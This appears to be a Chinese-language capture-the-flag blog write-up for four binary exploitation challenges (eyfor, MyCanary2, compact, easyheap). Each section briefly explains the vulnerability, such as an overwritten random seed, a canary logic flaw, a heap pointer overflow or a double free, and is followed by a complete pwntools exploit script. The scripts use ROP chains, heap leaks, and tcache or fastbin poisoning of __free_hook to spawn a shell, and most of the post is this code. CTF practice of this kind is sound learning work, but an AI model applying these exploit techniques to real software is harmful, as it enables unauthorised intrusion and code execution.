# pwn

# eyfor

1

buf 可以覆盖 seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出:

程序自带 system 函数,同时会将 payload strcpy 到 bss 段上,因此可以在 payload 中附带 /bin/sh 之后直接调用 system ("/bin/sh")

getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import ctypes
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
libc_func = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc_func.srand(10)
sh = process('/mnt/hgfs/ubuntu/das7/pwn4')
sh = remote('node4.buuoj.cn',27445)
sh.sendafter(b'go\n',b'aaa')
for i in range(4):
sh.sendlineafter(b'message:\n',str(libc_func.rand()).encode())
sh.sendline(str(-1).encode())
pop_rdi = 0x0000000000400983
# gdb.attach(sh)
payload = b'/bin/sh\x00'+b'a'*0x30+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x6010C0)+p64(0x400680)

sh.sendline(payload)
sh.interactive()

# MyCanary2

2

程序自己实现一个 canary,canary 本身是通过随机数异或而来,不可破解。

不过程序出现了一个逻辑漏洞。

若我们先调用栈溢出之后再调用生成 canary 则可以直接绕过 canary 实现栈溢出。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/das7/MyCanary2/MyCanary2')
r = remote('node4.buuoj.cn',28879)


def menu(choice):
r.recvuntil(b"Input your choice")
r.sendline(str(choice))

def gogogo(payload):
menu(1)
r.recvuntil(b"Show me the code:")
r.send(payload)


pop_rdi = 0x0000000000401613
system_addr = 0x401120
payload = b'a'*0x68+p32(0)+p32(0)+p64(0)+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x4020F0)+p64(system_addr)
print(payload)
# gdb.attach(r)
gogogo(payload)
menu(2)
menu(3)
r.interactive()

# compact

程序实现了一个堆菜单:

3

这个程序最特殊的地方就是她的 delete 和 reset 是分开的。

delete 功能为清空堆块指针。reset 会 free 掉所有执行过 delete 的堆块。

这个功能很重要。

然后就是这里有一个溢出:

4

当 buf 为 0xff 的时候,可以溢出最多的字节覆盖到结构体指针:

5

这道题让我卡了很久是因为 idx<=7。不太好填满 tcache list 然后用 fastbin into tcache bin 做。

不过用刚才那个 delete 清空指针和 reset 配合还是能够做到的,这样之后我发现只能申请 0x20 大小的堆块,并且申请地址末尾必为 tag 字段:0xff,我调试了一下 malloc_hookfree_hookexit_hook 都不在末尾字段为 0xff 且偏移处于 0x20 的范围内,同时由于 0x20 大小是结构体堆块,即使申请过去了,我们的 ogg 里也必带有一个 0xff,所以这种思路是错的。\

我的步骤:

  • 通过以上溢出改结构体指针,free 掉一个 fake_unsortedbin
  • 再申请一个堆块,改掉结构体指针指向 fake_unsortedbin ,通过 show 功能泄露 heap 基址和 libc 基址。
  • 伪造一个 fake_chunk,free 掉 0x90 大小的 fake_chunk 后申请回来,改掉一个 tcache 空闲块的 next 指针。
  • 然后就打 free_hook 即可。

(这里其实伪造 fake_chunk 必须要满足 fake_chunk 的下一个堆块 size 合法,并且我感觉也不止会判断这一个,似乎还会一直往下判断下一个堆块 size 是否合法,因此我最开始没有采用这种方法,不过这道题刚好有一个 fake_unsortedbin 可以给我们提供合法的 size,因此可以伪造 fake_chunk

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/das7/compact/compact')
r = remote('node4.buuoj.cn',29237)
libc = ELF('/mnt/hgfs/ubuntu/das7/compact/libc-2.31.so')

def menu(choice):
r.recvuntil(b"give me your choice: \n")
r.sendline(str(choice))

def add(content,something):
menu(1)
r.recvuntil(b"data: ")
r.send(content)
r.recvuntil(b"tag: ")
r.send(b'\xff')
# sleep(0.5)
r.send(something)

def show(index):
menu(2)
r.recvuntil(b"idx: ")
r.sendline(str(index))

def delete(index):
menu(3)
r.recvuntil(b"idx: ")
r.sendline(str(index))

def alldelete():
menu(4)



[add(p64(0)*3+p64(0x4b1)+p64(0)*3+p64(0x91),b'a') for i in range(8)]
delete(0)
alldelete()
add(b'a',b'aaa\xe0')
delete(0)
alldelete()
add(b'a',b'aaa\xe0')
show(0)
r.recvuntil(b"tag: \xffaaa")
heap_base = u64(r.recv(6).ljust(8,b'\0'))-0x2e0
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x1ebf61
free_hook = libc_base+libc.sym["__free_hook"]
one_gadget = libc_base+0xe6af1
delete(4)
[delete(k) for k in range(2,4)]
# [add(b'a',b'a') for l in range(6)]#1-6
alldelete()
add(b'a',b'aaa'+p16((heap_base+0x3b0)&0xffff))#2
delete(2)
alldelete()
add(b'a'*0x40+p64(0)+p64(0x21)+p64(heap_base)+p64(heap_base+0x10)+p64(0)+p64(0x91)+p64(free_hook),b'a')#2
add(b'a',b'a')#3
delete(2)
add(p64(one_gadget),b'a')
menu(4)


# gdb.attach(r,'b free')
log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))

r.interactive()

# easyheap

赛后由 h@x0r师傅 提供的思路和 exp,经由本人同意后我收集在此。

维护了 0x37 个双向链表头来管理堆结构

结构如下

1
2
3
4
5
6
7
struct Node
{
char name[16];
char *buf;
_QWORD prev;
Node *next;
};

并且通过输入的 name 来进行一个类似 hash 的操作得到他在整个链表头数组的索引

1
2
3
4
5
6
def name_hash(name):
v3 = 0;
name = name.ljust(16,b'\x00')
for i in range(16):
v3 = name[i] + 0x13 * v3;
return v3 & 0x37

漏洞出在删除逻辑里假设链表头节点的 prev 是 0

但是如果移除该链表头节点后,这个假设就不成立了

image-20220725140356526

这时候就会走 prev->next = tmp 这条路径

导致链表头还是原来这个节点,但是因为他的 name 字段已经变化,我们一般来说已经访问不到他了

(所以我 fuzz 半天没 fuzz 出来什么洞)

那么现在就有一个 double free

来看一下我们其他的函数

add 函数

image-20220725140843799

show 函数

image-20220725140806538

容易发现 name 跟 buf 指针相邻,可以通过打印 name 指针泄露一下堆地址

(管他有没有用,先泄了再说)

然后可以通过填满 tcache 让 0x210 的堆块释放到 unsortbin 里,然后用 show 打印 free 状态下的节点来泄露 libc 地址

因为是 2.31 所以考虑打 free_hook 写 system

注意到 dele 中

image-20220725141153515

如果我们能完全控制被 free 节点的内容

我们就可以写入 prev->next 的值为 next 指针

那么我们只需要控制 prev == free_hook-0x20 next == system_addr buf == bin_sh_addr

就可以一次操作 getshell

不难想到在 0x210 的大堆块中伪造一个 0x30 的节点

那我们还需要一次 fastbin attack 来分配到这个 0x30 的节点

详细操作见 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

context.log_level = 'debug'
sh = process('./easyheap')
# sh = remote('node4.buuoj.cn',29160)
def cmd(choice):
sh.sendlineafter(b'> ',str(choice).encode())

def add(name,content):
cmd(1)
if len(name) < 0x10:
name += b'\n'
if len(content) < 0x200:
content += b'\n'
sh.sendafter(b'name: ',name)
sh.sendafter(b'content: ',content)
def dele(name):
cmd(3)
if len(name) != 0x10:
name = name.ljust(16,b'\x00')
sh.sendafter(b'name: ',name)
def show(idx):
cmd(2)
sh.sendlineafter(b'idx: ',str(idx).encode())

def name_hash(name):
v3 = 0;
name = name.ljust(16,b'\x00')
for i in range(16):
v3 = name[i] + 0x13 * v3;
return v3 & 0x37

add(b'\x00',b'xx')
add(b'\x00',b'xx')
add(b'\xff'*15+b'X',b'xxx')
show(name_hash(b'\xff'*15+b'X'))
sh.recvuntil(b'X')
heap_base = u64(sh.recv(6).ljust(8,b'\x00')) & -4096
for i in range(6):
add(b'\x02',b'kk')
for i in range(6):
dele(b'\x02')
dele(b'\x00')
dele(b'\x00')
success("heap_base : "+hex(heap_base))
show(0)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ecbe0
success("libc_base : "+hex(libc_base))

# for i in range(3):
# add(b'\x00',b'xxx')
# dele(b'\x00')
bucket = name_hash(p64(heap_base+0x2120))
bucket_name = p64(heap_base+0x2120)
add(bucket_name,b'xxx')
for i in range(8):
add(b'\x02',b'clear')
add(b'\x02',b'a'*0x20+p64(0)+p64(0x31)+p64(0)*5+p64(0x31))
for i in range(2):
add(b'\x02',b'clear')
add(bucket_name,b'xxx')
for i in range(5):
dele(b'\x02')
dele(bucket_name)
dele(bucket_name)
dele(b'\xff'*15+b'X')
add(b'\x07',b'bbb')

success("bucket : "+hex(bucket))

dele(b'\x02')

dele(bucket_name)

fake_chunk = heap_base + 0x1b20

add(p64(fake_chunk),b'qqq')
add(b'\x02',b'kkk')
add(b'\x02',b'kkk')
add(b'\x01',b'kkk')
libc = ELF('./libc.so.6')
libc.address = libc_base
payload = b'\x00'*0x20
payload += p64(0) + p64(0x31)
payload += p64(0x1) + p64(0)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.sym['__free_hook']-0x20) + p64(libc.sym['system'])
add(b'\x02',payload)
# gdb.attach(sh,'b *$rebase(0xf78)')

dele(b'\x01')

sh.interactive()

有一点坑的是

远程的 libc 版本实际是 2.31 9.9

而附件给出的实际上是 2.31 9.7

但是因为泄露是一般是泄露的 unsortbin 的地址,而这两个版本的 unsortbin 的偏移恰好一致

所以很难发现是 libc 有问题

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝